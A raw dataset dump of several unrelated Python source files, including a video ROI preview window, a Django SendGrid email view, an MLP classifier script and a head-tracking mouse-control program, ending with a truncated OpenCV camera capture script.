number to 0\n self.frame_num = 0\n\n # normalize the frames (to be between 0 and 255)\n self.frames = video\n\n # get the number of frames\n self.n_frames = self.frames.shape[0]\n\n # start the timer to update the frames\n self.timer.start(int(1000.0/fps))\n\n self.viewbox4.setXRange(0, self.controller.video.shape[0])\n\n def set_fps(self, fps):\n # restart the timer with the new fps\n self.timer.stop()\n self.timer.start(int(1000.0/fps))\n\n def show_frame(self, frame):\n self.update_left_image_plot(frame, roi_spatial_footprints=self.controller.roi_spatial_footprints(), video_dimensions=self.controller.video.shape, removed_rois=self.controller.removed_rois(), selected_rois=self.controller.selected_rois, show_rois=self.controller.show_rois)\n\n def update_frame(self):\n if self.frames is not None:\n # convert the current frame to RGB\n # frame = cv2.cvtColor(self.frames[self.frame_num].astype(np.float32), cv2.COLOR_GRAY2RGB)\n frame = self.frames[self.frame_num]\n\n # self.show_frame(frame)\n self.update_left_image_plot(frame, roi_spatial_footprints=self.controller.roi_spatial_footprints(), video_dimensions=self.controller.video.shape, removed_rois=self.controller.removed_rois(), selected_rois=self.controller.selected_rois, show_rois=self.controller.show_rois)\n \n # increment frame number (keeping it between 0 and n_frames)\n self.frame_num += 1\n self.frame_num = self.frame_num % self.n_frames\n\n # update window title\n self.setWindowTitle(\"{}. Z={}. Frame {}/{}.\".format(self.video_name, self.controller.z, self.frame_num + 1, self.n_frames))\n\n def update_left_image_plot(self, image, roi_spatial_footprints=None, video_dimensions=None, removed_rois=None, selected_rois=None, show_rois=False):\n # print(\"Updating left image plot...\")\n image = self.create_kept_rois_image(image, self.controller.video_max, roi_spatial_footprints=roi_spatial_footprints, video_dimensions=video_dimensions, removed_rois=removed_rois, selected_rois=selected_rois, show_rois=show_rois)\n if show_rois:\n self.kept_rois_image = image\n\n self.left_plot.setImage(image, autoLevels=False)\n\n self.update_mask_items()\n\n def update_mask_items(self, selected_mask=-1):\n self.clear_mask_items()\n mask_points = self.controller.mask_points()\n\n for i in range(len(mask_points)):\n mask_item = self.create_mask_item(mask_points[i], selected=selected_mask==i)\n self.viewbox1.addItem(mask_item)\n self.mask_items.append(mask_item)\n\n def compute_contours_and_overlays(self, shape, roi_spatial_footprints):\n print(\"Computing new contours.....\")\n self.roi_contours = [ None for i in range(roi_spatial_footprints.shape[-1]) ]\n self.flat_contours = []\n \n self.roi_overlays = np.zeros((roi_spatial_footprints.shape[-1], shape[0], shape[1], 4)).astype(np.uint8)\n\n for i in range(roi_spatial_footprints.shape[-1]):\n maximum = np.amax(roi_spatial_footprints[:, :, i])\n mask = (roi_spatial_footprints[:, :, i] > 0.1*maximum).copy()\n \n contours = cv2.findContours(mask.astype(np.uint8), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)[-2]\n\n color = roi_colors[i]\n\n overlay = np.zeros((shape[0], shape[1], 4)).astype(np.uint8)\n overlay[mask, :-1] = color\n overlay[mask, -1] = 255.0*roi_spatial_footprints[mask, i]/maximum\n self.roi_overlays[i] = overlay\n\n self.roi_contours[i] = contours\n self.flat_contours += contours\n\n def compute_kept_rois_overlay(self, roi_spatial_footprints, removed_rois):\n print(\"Computing kept ROIs overlay.\")\n\n if roi_spatial_footprints is not None:\n kept_rois = [ roi for roi in range(roi_spatial_footprints.shape[-1]) if roi not in removed_rois ]\n\n denominator = np.count_nonzero(self.roi_overlays[kept_rois], axis=0)\n denominator[denominator == 0] = 1\n\n self.kept_rois_overlay = (np.sum(self.roi_overlays[kept_rois], axis=0)/denominator).astype(np.uint8)\n\n def compute_discarded_rois_overlay(self, roi_spatial_footprints, removed_rois):\n if roi_spatial_footprints is not None:\n denominator = np.count_nonzero(self.roi_overlays[removed_rois], axis=0)\n denominator[denominator == 0] = 1\n\n self.discarded_rois_overlay = (np.sum(self.roi_overlays[removed_rois], axis=0)/denominator).astype(np.uint8)\n\n def create_kept_rois_image(self, image, video_max, roi_spatial_footprints=None, video_dimensions=None, removed_rois=None, selected_rois=None, show_rois=False, use_existing_roi_overlay=False):\n image = 255.0*image/video_max\n image[image > 255] = 255\n\n if len(image.shape) < 3:\n image = cv2.cvtColor(image.astype(np.uint8), cv2.COLOR_GRAY2RGB)\n else:\n image = image.astype(np.uint8)\n\n if self.kept_rois_overlay is not None and roi_spatial_footprints is not None:\n if show_rois:\n image = utilities.blend_transparent(image, self.kept_rois_overlay)\n\n kept_rois = [ roi for roi in range(roi_spatial_footprints.shape[-1]) if roi not in removed_rois ]\n\n heatmap = self.controller.roi_temporal_footprints()[kept_rois]\n \n video_lengths = self.controller.selected_group_video_lengths()\n\n index = self.controller.selected_group_video_paths().index(self.controller.selected_video_path())\n\n if index == 0:\n heatmap = heatmap[:, :video_lengths[0]]\n else:\n heatmap = heatmap[:, np.sum(video_lengths[:index]):np.sum(video_lengths[:index+1])]\n\n if heatmap.shape[0] > 0:\n # heatmap = scipy.ndimage.interpolation.shift(heatmap, (self.controller.z, 0), cval=0)\n if self.controller.show_zscore:\n heatmap = (heatmap - np.mean(heatmap, axis=1)[:, np.newaxis])/np.std(heatmap, axis=1)[:, np.newaxis]\n\n if heatmap.shape[0] > 2:\n correlations = np.corrcoef(heatmap)\n i, j = np.unravel_index(correlations.argmin(), correlations.shape)\n \n heatmap_sorted = heatmap.copy()\n heatmap_sorted[0] = heatmap[i]\n heatmap_sorted[-1] = heatmap[j]\n \n remaining_indices = [ index for index in range(heatmap.shape[0]) if index not in (i, j) ]\n for k in range(1, heatmap.shape[0]-1):\n corrs_1 = [ correlations[i, index] for index in remaining_indices ]\n corrs_2 = [ correlations[j, index] for index in remaining_indices ]\n \n difference = [ corrs_1[l] - corrs_2[l] for l in range(len(remaining_indices)) ]\n l = np.argmax(difference)\n index = remaining_indices[l]\n \n heatmap_sorted[k] = heatmap[index]\n \n del remaining_indices[l]\n\n heatmap = heatmap_sorted\n else:\n heatmap = heatmap/np.amax(heatmap)\n\n if self.controller.show_zscore:\n heatmap[heatmap > 3] = 3\n heatmap[heatmap < -2] = -2\n # else:\n # heatmap[heatmap > 1] = 1\n # heatmap[heatmap < 0] = 0\n\n self.heatmap = heatmap.T\n\n print(np.amin(heatmap), np.amax(heatmap))\n print(heatmap[0])\n\n if self.controller.show_zscore:\n self.heatmap_plot.setImage(self.heatmap, levels=(-2.01, 3.01))\n else:\n self.heatmap_plot.setImage(self.heatmap, levels=(0, 1.01))\n\n self.heatmap_plot.setRect(QRectF(self.frame_offset + self.controller.z/self.controller.video.shape[1], 0, heatmap.shape[1], heatmap.shape[0]))\n else:\n self.heatmap_plot.setImage(None)\n else:\n self.heatmap_plot.setImage(None)\n\n return image\n\n def create_discarded_rois_image(self, image, video_max, roi_spatial_footprints=None, video_dimensions=None, removed_rois=None, selected_rois=None, show_rois=False, use_existing_roi_overlay=False):\n image = 255.0*image/video_max\n image[image > 255] = 255\n\n if len(image.shape) < 3:\n image = cv2.cvtColor(image.astype(np.uint8), cv2.COLOR_GRAY2RGB)\n else:\n image = image.astype(np.uint8)\n\n if show_rois and self.discarded_rois_overlay is not None and roi_spatial_footprints is not None:\n image = utilities.blend_transparent(image, self.discarded_rois_overlay)\n\n return image\n\n def plot_mean_image(self, image, video_max):\n image = 255.0*image/video_max\n image[image > 255] = 255\n if len(image.shape) < 3:\n image = cv2.cvtColor(image.astype(np.uint8), cv2.COLOR_GRAY2RGB)\n else:\n image = image.astype(np.uint8)\n\n self.right_plot.setImage(image, autoLevels=False)\n\n def update_right_image_plot(self, image, roi_spatial_footprints=None, video_dimensions=None, removed_rois=None, selected_rois=None, show_rois=False):\n image = self.create_discarded_rois_image(image, self.controller.video_max, roi_spatial_footprints=roi_spatial_footprints, video_dimensions=video_dimensions, removed_rois=removed_rois, selected_rois=selected_rois, show_rois=show_rois)\n if show_rois:\n self.discarded_rois_image = image\n\n self.right_plot.setImage(image, autoLevels=False)\n\n def reset_zoom(self):\n self.viewbox1.autoRange()\n self.viewbox2.autoRange()\n\n def closeEvent(self, ce):\n if not self.controller.closing:\n ce.ignore()\n else:\n ce.accept()\n","sub_path":"preview_window.py","file_name":"preview_window.py","file_ext":"py","file_size_in_byte":35029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"216692867","text":"# -*- coding: utf-8 -*-\nfrom rest_framework import views, status\nimport json\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.core.mail import send_mail\nfrom django.core.mail import EmailMultiAlternatives\n\n\n\nclass EmailView(views.APIView):\n\n def post(self, request, format=None):\n data = json.loads(request.body)\n lesson = data['lesson']\n account = data['account']\n print(\"lesson : %s\"%lesson)\n print(\"account : %s\"%account['email'])\n mail = EmailMultiAlternatives(\n subject=\"Your Subject\",\n body=\"This is a simple text email body.\",\n from_email=\"laurent.falleri@gmail.com\",\n to=[\"laurentfall@hotmail.fr\"],\n headers={\"Reply-To\": \"laurentfall@hotmail.fr\"}\n )\n # Add template\n mail.template_id = 'f6581133-5c0b-4cc1-9a86-96a8bcd0db06'\n\n # Replace substitutions in sendgrid template\n mail.substitutions = {'%type%': 'Hatha',\n '%date%': 'mercredi 28 juin',\n '%heure%': '11h30'}\n\n\n # Add categories\n mail.categories = [\n 'confirmation',\n ]\n\n mail.send()\n return Response({\n 'status': 'OK',\n 'message': 'Email sent'\n }, status=status.HTTP_200_OK)\n\n\nclass ContactEmailView(views.APIView):\n\n def post(self, request, format=None):\n data = json.loads(request.body)\n\n type = data['type']\n name = data['name']\n email= data['email']\n tel = data['tel']\n message =data['message']\n\n mail = EmailMultiAlternatives(\n subject=\"Subject\",\n body=\"Body\",\n from_email=\"laurent.falleri@gmail.com\",\n to=[\"laurent.falleri@gmail.com\"],\n headers={\"Reply-To\": \"laurent.falleri@gmail.com\"}\n )\n\n # Add template (ContactMessage)\n mail.template_id = '4f9c3e44-7d6f-4ff8-a8f2-99018e998aff'\n\n # Replace substitutions in sendgrid template\n mail.substitutions = {'%type%': type,\n '%email%' : email,\n '%nom%': name,\n '%message%':message,\n '%tel%': tel}\n\n # Add categories\n mail.categories = [\n 'contact',\n ]\n\n mail.send()\n\n return Response({\n 'status': 'OK',\n 'message': 'Email sent'\n }, status=status.HTTP_200_OK)\n","sub_path":"messaging/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"430878254","text":"import glob\nimport os\n\n\nclass utt2spk(object):\n def __init__(self, context):\n self.context = context\n\n def run(self):\n \"\"\"\n Split train and test data.\n \"\"\"\n src_root = '{0}/{1}'.format(self.context['egs']['root'], self.context['audio']['target']['dir'])\n tgt_root = '{0}/{1}'.format(self.context['egs']['root'], self.context['data']['dir'])\n for k, v in self.context['data']['split'].items():\n src = '{0}/{1}'.format(src_root, k)\n tgt = '{0}/{1}/{2}'.format(tgt_root, k, self.context['data']['text'][self.__class__.__name__])\n tgt_dir = os.path.dirname(tgt)\n if not os.path.exists(tgt_dir):\n os.makedirs(tgt_dir)\n f = open(tgt, 'w')\n for e in v:\n file_list = glob.glob('{0}/*/1_{1}*'.format(src, e))\n #print(file_list)\n [f.write(\"{0} {1}\\n\".format(\"{0}_{1}\".format(e, os.path.basename(file).split('.')[0]), e)) for file in sorted(file_list)]\n\n","sub_path":"helper/utt2spk.py","file_name":"utt2spk.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"422760612","text":"import heapq\nfrom typing import List\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\n\ndef mergeKLists(lists: List[ListNode]) -> ListNode:\n root = result = ListNode(None)\n heap = []\n\n # 각 연결 리스트의 루트를 힙에 저장\n for i in range(len(lists)):\n if lists[i]:\n # heap에 저장하고, 저장할 객체로는 노드 값, i, 그리고 리스트 객체들이다.\n heapq.heappush(heap, (lists[i].val, i, lists[i]))\n\n # 힙 추출 이후 다음 노드는 다시 저장\n print(heap)\n while heap:\n node = heapq.heappop(heap)\n idx = node[1]\n\n result.next = node[2]\n print('node:', node, 'idx:', idx, 'result.next:', result.next)\n\n result = result.next\n if result.next:\n print('result.next: ', result.next.val, 'idx:', idx)\n heapq.heappush(heap, (result.next.val, idx, result.next))\n\n return root.next\n\n\nif __name__ == \"__main__\":\n k, l1 = [], []\n a = ListNode(1)\n b = ListNode(4)\n c = ListNode(5)\n a.next, b.next = b, c\n\n x = ListNode(1)\n y = ListNode(3)\n z = ListNode(4)\n x.next, y.next = y, z\n\n n = ListNode(2)\n m = ListNode(6)\n n.next = m\n\n\n k.append(a)\n k.append(x)\n k.append(n)\n\n q = mergeKLists(k)\n\n while q:\n print(q.val)\n q = q.next","sub_path":"Merge_K_Sorted_List.py","file_name":"Merge_K_Sorted_List.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"638808304","text":"\"\"\"Python Program to Find the Fibonacci Series without Using Recursion\"\"\"\n\nclass Fibonacci:\n\n def __init__(self):\n self.cache = {}\n\n def __call__(self,n):\n if n not in self.cache:\n if n == 0:\n self.cache[0] = 0\n elif n == 1:\n self.cache[1] = 1\n else:\n self.cache[n] = self.__call__(n-1)+self.__call__(n-2)\n return self.cache[n]\n\nlower,upper = list(map(int,input().split()))\nlist1 = []\nfib = Fibonacci()\n\nfor i in range(lower,upper + 1):\n list1.append(fib(i))\n\nprint(list1)","sub_path":"Python/cppsecrets.com/program 72.py","file_name":"program 72.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"22035328","text":"from kivy.graphics import *\n\nimport highscore_window\n\n\nclass Main_menu:\n \"\"\" this class describes how the main menu works\"\"\" \n \n def __init__(self, status):\n self._status = status \n self.highscore_window = highscore_window.Highscore_window()\n \n def draw(self, widget, width, height):\n \n \n \n if(self.highscore_window.get_active() == False):\n # title image\n Rectangle(source=\"img/startmeny/superdodgerocketlogo.png\", pos=(self.width//20,12 * self.height//20),\\\n size=(self.width,self.height - 11 * self.height //20))\n \n # start game button\n Rectangle(source=\"img/startmeny/startbtn.png\", pos=(4* self.width//20, 6 * self.height//20),\\\n size=(15*self.width // 20, 2.5* self.height //20))\n \n # Highscore button\n Rectangle(source=\"img/startmeny/hiscorebtn.png\", pos=(4 * width//20, 2 * height//20),\\\n size=(15*width // 20, 2.5*height//20))\n \n \n \"\"\" # dont draw the option button for the moment because it doesn't do a thing\n # options game button\n Rectangle(source=\"img/startmeny/optionsbtn.png\", pos=(4* width//20, 1 * height//20), \\\n size=(15*width // 20, 2.5 * height //20))\n \"\"\"\n \n # if the highscore window is active, draw it out\n elif(self.highscore_window.get_active()):\n self.highscore_window.draw(widget,width,height)\n \n \n \n def touch_down(self, touch):\n \"\"\" this method is called when the player touches the screen while in\n the main menu. It takes the touch-position as a argument and checks\n if the touch is on a button\"\"\"\n \n xpos = touch.x\n ypos = touch.y\n\n # checks if the highscore window is not open\n if(self.highscore_window.get_active() == False):\n # if the startbutton is pressed\n if(xpos >= 4* self.width//20 and\n xpos < 4* self.width//20 + 15*self.width // 20 and\n ypos >= 6 * self.height // 20 and \n ypos < 6 * self.height // 20 + 2.5 * self.height // 20):\n \n # set the menu to false \n self._status = False\n \n # if the highscore button is pressed\n if(xpos >= 4* self.width//20 and\n xpos < 4* self.width//20 + 15*self.width // 20 and\n ypos >= 2 * self.height // 20 and \n ypos < 2 * self.height // 20 + 2.5 * self.height // 20):\n \n self.highscore_window.get_save()\n\n # set the highscore_window to active\n self.highscore_window.set_active(True)\n \n # if the highscore window is open, \n elif(self.highscore_window.get_active()): \n \n #check for touches that want to quit the highscore window\n if(xpos >= 19*self.width//20 and\n xpos < 21*self.width//20 and\n ypos >= 19*self.height/20 and\n ypos < 19*self.height//20 + 2*self.width//20):\n \n self.highscore_window.set_active(False)\n \n # check for touches that wants to restet the highscore\n if(xpos >= 14*self.width//20 and\n xpos < 21*self.width//20 and\n ypos >= 1*self.height//20 and\n ypos < 1*self.height//20 + 3*self.width//20):\n print(\"reset highscore\")\n self.highscore_window.reset_save()\n \n \n \n def set_status(self, status):\n self._status = status\n \n def get_status(self):\n return(self._status)\n \n def set_size(self, width, height):\n self.width = width\n self.height = height","sub_path":"iosgame/game_files/Main_menu.py","file_name":"Main_menu.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"90977085","text":"class Solution:\n # @param num, a list of integer\n # @return a list of lists of integers\n def permuteUnique(self, num):\n num.sort()\n self.res = []\n self.dfs(num, [])\n return self.res\n\n def dfs(self, num, elements):\n if len(num) == 0:\n self.res.append(elements)\n return\n prev = num[0] - 1\n for i in range(len(num)):\n if num[i] == prev:\n continue\n prev = num[i]\n self.dfs(num[:i] + num[i+1:], elements + [num[i]])\n","sub_path":"permutation2.py","file_name":"permutation2.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"315266369","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import LabelEncoder,OneHotEncoder\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.metrics import classification_report,confusion_matrix\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.metrics import accuracy_score as AS\r\n\r\n\r\ndata1 = pd.read_csv(\"F:/DTC/SSC-HSC_CE-IT_11-12.csv\", sep = \",\")\r\nX1 = data1.iloc[:,1:9]\r\ny1 = data1.iloc[:,9]\r\nY1 = y1.to_frame() \r\nscaler = StandardScaler().fit(X1)\r\nrescaledX = []\r\nrescaledX = scaler.transform(X1)\r\nnp.set_printoptions(precision = 3)\r\ndf1 = pd.DataFrame(rescaledX, columns = list('ABCDEFGH'))\r\n\r\ndata2 = pd.read_csv(\"F:/DTC/SSC-HSC_CE-IT_12-13.csv\", sep = \",\")\r\nX2 = data2.iloc[:,1:9]\r\ny2 = data2.iloc[:,9]\r\nY2 = y2.to_frame()\r\nscaler = StandardScaler().fit(X2)\r\nrescaledY = []\r\nrescaledY = scaler.transform(X2)\r\ndf2= pd.DataFrame(rescaledY,columns=list('ABCDEFGH'))\r\n\r\ndata3 = pd.read_csv(\"F:/DTC/SSC-HSC_CE-IT_13-14.csv\", sep = \",\")\r\nX3 = data3.iloc[:,1:9]\r\ny3 = data3.iloc[:,9]\r\nY3 = y3.to_frame()\r\nscaler = StandardScaler().fit(X3)\r\nrescaledZ = []\r\nrescaledZ = scaler.transform(X3)\r\ndf3= pd.DataFrame(rescaledZ, columns=list('ABCDEFGH'))\r\n\r\ndf1 =df1.append(df2,ignore_index=True)\r\ndf3 = df3.append(df1,ignore_index=True) \r\n\r\nY1 = Y1.append(Y2,ignore_index=True)\r\nY3 = Y3.append(Y1,ignore_index=True)\r\n\r\ncolumns_new = ['A','B','C','D','E','F','G','H']\r\ncolumns_new1 = ['A','B','C']\r\n\r\n'''Training'''\r\n\r\nX_train = pd.DataFrame(df3, columns=columns_new)\r\nYR = Y3\r\nY_train = np.ravel(YR)\r\n'''Testing'''\r\n\r\ndata4 = pd.read_csv(\"F:/DTC/SSC-HSC_CE-IT_14-15.csv\", sep = \",\")\r\nX4 = data4.iloc[:,1:9]\r\ny4 = data4.iloc[:,9]\r\nY4 = y4.to_frame()\r\nscaler = StandardScaler().fit(X4)\r\nrescaled=[]\r\nrescaled = scaler.transform(X4)\r\nX_Test = pd.DataFrame(rescaled, columns=list('ABCDEFGH'))\r\nY_Test = y4\r\nshape=X_Test.shape[0]\r\n'''MLP classifier'''\r\n\r\nfrom sklearn.neural_network import MLPClassifier\r\n#from sklearn.model_selection import ParameterGrid\r\n\r\nAccuracy = []\r\nfor_depth = []\r\nfor_leaf = []\r\n\r\n#p = Perceptron(random_state=42,\r\n# max_iter=10)\r\n#p.fit(X, y)\r\n\r\nmlpc = MLPClassifier(hidden_layer_sizes=(500,500,500,500,500,500),solver='lbfgs')\r\nmlpc.fit(X_train, Y_train)\r\nfor i in range(shape):\r\n #print(i)\r\n Y_pred=mlpc.predict(X_Test.loc[[i]])\r\n Y_pred = int(Y_pred[0])\r\n pred = mlpc.predict_proba(X_Test.loc[[i]])\r\n pred = pred[0]\r\n print(Y_pred, ' ', Y_Test[i], ' ', pred[Y_pred]) \r\n# mlpc_result = mlpc.predict(X_test)\r\n Y_pred=mlpc.predict(X_Test)\r\n print(\" Accuracy is : \", AS(Y_Test,Y_pred)*100)\r\n Accuracy.append(AS(Y_Test,Y_pred)*100)\r\n \r\nprint(max(Accuracy))\r\ndf = pd.DataFrame()\r\ndf['Accuracy'] = Accuracy \r\nconf_matrix = confusion_matrix(Y_Test, Y_pred)\r\n#accuracy = accuracy_score(Y_Test, Y_pred)\r\nprint(conf_matrix)\r\n\r\n\r\n\r\n#param_grid = {'a': [1, 9], 'b': [True, False]}\r\n\r\n#scores_10 = cross_val_score(estimator = mlpc,X = X_train, y = Y_train, cv = 10)\r\n#scores1_10 = cross_val_score(estimator = mlpc,X = X_test, y = Y_test, cv = 10)\r\n#f1_12_1 = f1_score(Y_test, mlpc_result, average='macro')\r\n#f1_12_2 = f1_score(Y_test, mlpc_result, average='weighted')\r\n\r\n#clf = GridSearchCV(mlpc, param_grid, cv=3, scoring='accuracy')\r\n#clf.fit(X_train,Y_train)\r\n#print(\"Best parameters set found on development set:\")\r\n#print(clf.best_params_)\r\n","sub_path":"neuraltestCEITstate.py","file_name":"neuraltestCEITstate.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"481142161","text":"#!/usr/bin/env python\n#coding=utf8\n'''\nHeadmouse!\n'''\n\nimport logging\n\n# initial log config to handle load/import time errors\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\n\nimport time\nimport threading\nimport sys\nimport os\nimport ConfigParser\nimport re\n\nimport cv2\n\nimport camera\nimport filters\nimport util\n\ntry:\n import pymouse\nexcept ImportError:\n logger.warn(\"Unable to load PyMouse. Install PyUserinput for direct mouse control.\")\n\ntry:\n import arduino_serial\nexcept ImportError:\n # TODO\n pass\n\nGLOBAL_CONFIG_FILE = \"/etc/headmouse.conf\"\nUSER_CONFIG_FILE = os.path.expanduser(\"~/.headmouse\")\n\nACCELERATION_EXPONENT = 2\nOUTLIER_VELOCITY_THRESHOLD = 20\n\ndef consumer(func):\n '''\n Decorator taking care of initial next() call to \"sending\" generators\n\n From PEP-342\n http://www.python.org/dev/peps/pep-0342/\n '''\n def wrapper(*args,**kw):\n gen = func(*args, **kw)\n next(gen)\n return gen\n wrapper.__name__ = func.__name__\n wrapper.__dict__ = func.__dict__\n wrapper.__doc__ = func.__doc__\n return wrapper\n\n## Output drivers\n\n@consumer\ndef arduino_output(config=None):\n '''Write mouse coordinates out to Arduino via serial'''\n arduino = arduino_serial.get_serial_link(config['arduino_port'], config['arduino_baud'], timeout=1, slices=3)\n while True:\n x, y = yield\n arduino.move_mouse(x, y)\n\n@consumer\ndef print_output(config=None):\n '''Write mouse coordinate changes out to stdout'''\n while True:\n x, y = yield\n print(\"{:d}, {:d}\".format(x, y))\n\n@consumer\ndef pymouse_output(config=None):\n '''Write mouse coordinates out to pymouse'''\n\n try:\n logger.warn(\"Loading PyMouse; some versions may hang while loading for up to 30 seconds.\")\n import pymouse\n except ImportError:\n logger.warn(\"Unable to load PyMouse. Install PyMouse for direct mouse control.\")\n logger.info(\"Done Loading pymouse\")\n\n\n mouse = pymouse.PyMouse()\n x_max, y_max = mouse.screen_size()\n while True:\n dx, dy = yield\n x, y = mouse.position()\n x = max(0, min(x_max, x + dx))\n y = max(0, min(y_max, y + dy))\n if x < 0 or x_max < x or y < 0 or y_max < y:\n logger.debug(\"{}, {}\".format(x, y))\n mouse.move(x, y)\n\ndef get_config(custom_config_file=None):\n config = {\n 'output': 'arduino_output',\n 'arduino_baud': 115200,\n 'arduino_port': '/dev/tty.usbmodemfa13131',\n\n 'input': 'camera',\n 'input_tracker': 'dot_tracker',\n 'input_visualize': True,\n 'input_realtime_search_timeout': 2.0,\n 'input_slow_search_delay': 2.0,\n\n 'input_camera_name': 0,\n 'input_camera_resolution': (640, 480),\n 'input_camera_fps': 30,\n\n 'acceleration': 2.3,\n 'sensitivity': 2.0,\n 'smoothing': 0.90,\n 'output_smoothing': 0.90,\n 'distance_scaling': True,\n\n 'verbosity': 3,\n }\n\n # parse config files and override hardcoded defaults\n for config_file in\\\n (custom_config_file,) if custom_config_file is not None else\\\n (GLOBAL_CONFIG_FILE, USER_CONFIG_FILE):\n if os.path.exists(config_file):\n config_parser = ConfigParser.SafeConfigParser()\n config_parser.read([config_file])\n from_file = dict(config_parser.items('headmouse'))\n config.update(from_file)\n\n # TODO: argparse overrides\n\n # type hacks... \n # TODO: something better\n\n # split resolution like \"640x480\" or \"640, 480\" into pair of ints\n if isinstance(config['input_camera_resolution'], basestring):\n config['input_camera_resolution'] = [int(x) for x in re.split(r'x|, *', config['input_camera_resolution'])]\n\n # int config fields\n for field in (\n 'input_camera_name',\n 'input_camera_fps', \n 'arduino_baud',\n 'verbosity'\n ):\n config[field] = int(config[field])\n\n # float config fields\n for field in (\n 'acceleration', \n 'sensitivity', \n 'smoothing', \n 'output_smoothing', \n 'input_realtime_search_timeout', \n 'input_slow_search_delay'\n ):\n config[field] = float(config[field])\n\n # bool config fields\n for field in (\n 'distance_scaling',\n 'input_visualize',\n ):\n if isinstance(config[field], basestring):\n config[field] = config[field].lower() in (\"true\", \"1\", \"t\", \"#t\", \"yes\")\n else:\n config[field] = bool(config[field])\n\n return config\n\ndef main():\n '''Headmouse main loop'''\n config = get_config()\n\n # configure logging manually so we can use runtime config settings\n log_level = [logging.ERROR, logging.WARN, logging.INFO, logging.DEBUG][config['verbosity']]\n\n # must get root logger, set its level, attach handler, and set its level\n root_logger = logging.getLogger('')\n console = logging.StreamHandler()\n\n root_logger.setLevel(log_level)\n console.setLevel(log_level)\n\n root_logger.addHandler(console)\n\n # output driver setup\n # TODO: restrict loadable generaton functions for security\n # TODO: driver loading system that doesn't depend on __main__ - breaks cProfile\n output_driver = sys.modules[__name__].__dict__[config['output']](config=config)\n\n # signal proc chain setup\n velocity_gen = filters.relative_movement()\n sub_pix_gen = filters.sub_pix_trunc()\n stateful_smooth_gen = filters.stateful_smoother()\n input_smoother_gen = filters.ema_smoother(config['smoothing'])\n #slow_smoother_gen = filters.slow_smoother(.6)\n acceleration_gen = filters.accelerate_exp(\n p=ACCELERATION_EXPONENT,\n accel=config['acceleration'], \n sensitivity=config['sensitivity']\n )\n\n output_smoother = filters.ema_smoother(config['output_smoothing'])\n\n # input driver setup\n camera.visualize = config['input_visualize']\n\n fps_stats = util.Stats(util.Stats.inverse_normalized_interval_delta, \"Average frame rate {:.0f} fps\", 10)\n with camera.camera(\n tracker_name=config['input_tracker'],\n camera_id=config['input_camera_name'],\n resolution=config['input_camera_resolution'],\n fps=config['input_camera_fps'],\n realtime_search_timeout=config['input_realtime_search_timeout'],\n slow_search_delay=config['input_slow_search_delay']\n ) as input_source:\n # main loop\n for x, y, distance in input_source:\n fps_stats.push(time.time())\n\n # Capture frame-by-frame\n\n ### Filter Section ###\n # take absolute position return relative position\n v = velocity_gen.send((x, y))\n v = filters.killOutliers(v, OUTLIER_VELOCITY_THRESHOLD)\n\n if config['distance_scaling']:\n dx, dy = v\n v = dx * distance, dy * distance\n\n #v = slow_smoother_gen.send((v, 6))\n v = input_smoother_gen.send(v)\n v = acceleration_gen.send(v)\n #v = filters.accelerate(v)\n\n dx, dy = sub_pix_gen.send(v)\n\n # mirror motion on x-axis\n dx *= -1\n\n dx, dy = output_smoother.send((dx, dy))\n\n output_driver.send((dx,dy))\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"python/headmouse/headmouse.py","file_name":"headmouse.py","file_ext":"py","file_size_in_byte":7449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"301991688","text":"\nimport cv2\nimport numpy as np\nfrom pprint import pprint\n\ncap = cv2.VideoCapture(1 + cv2.CAP_DSHOW)\n\nv_width = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\nv_height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\nv_fps = cap.get(cv2.CAP_PROP_FPS)\nv_zoom = cap.get(cv2.CAP_PROP_ZOOM)\nv_focus = cap.get(cv2.CAP_PROP_FOCUS)\nv_iso = cap.get(cv2.CAP_PROP_ISO_SPEED)\nv_autof = cap.get(cv2.CAP_PROP_AUTOFOCUS)\n\n#pprint((v_width, v_height, v_fps, v_zoom, v_focus, v_iso, v_autof))\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 1920)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 1080)\nv_width = cap.get(cv2.CAP_PROP_FRAME_WIDTH)\nv_height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\npprint((v_width, v_height, v_fps, v_zoom, v_focus, v_iso, v_autof))\n\nfilectr=0\n\ncv2.namedWindow(\"frame\", cv2.WINDOW_NORMAL)\ncv2.resizeWindow(\"frame\",(1366,768))\n\nwhile(True):\n\t\n\tfor i in range(30):\n\t\tret, frame = cap.read()\n\t\t#cv2.namedWindow(\"frame\", 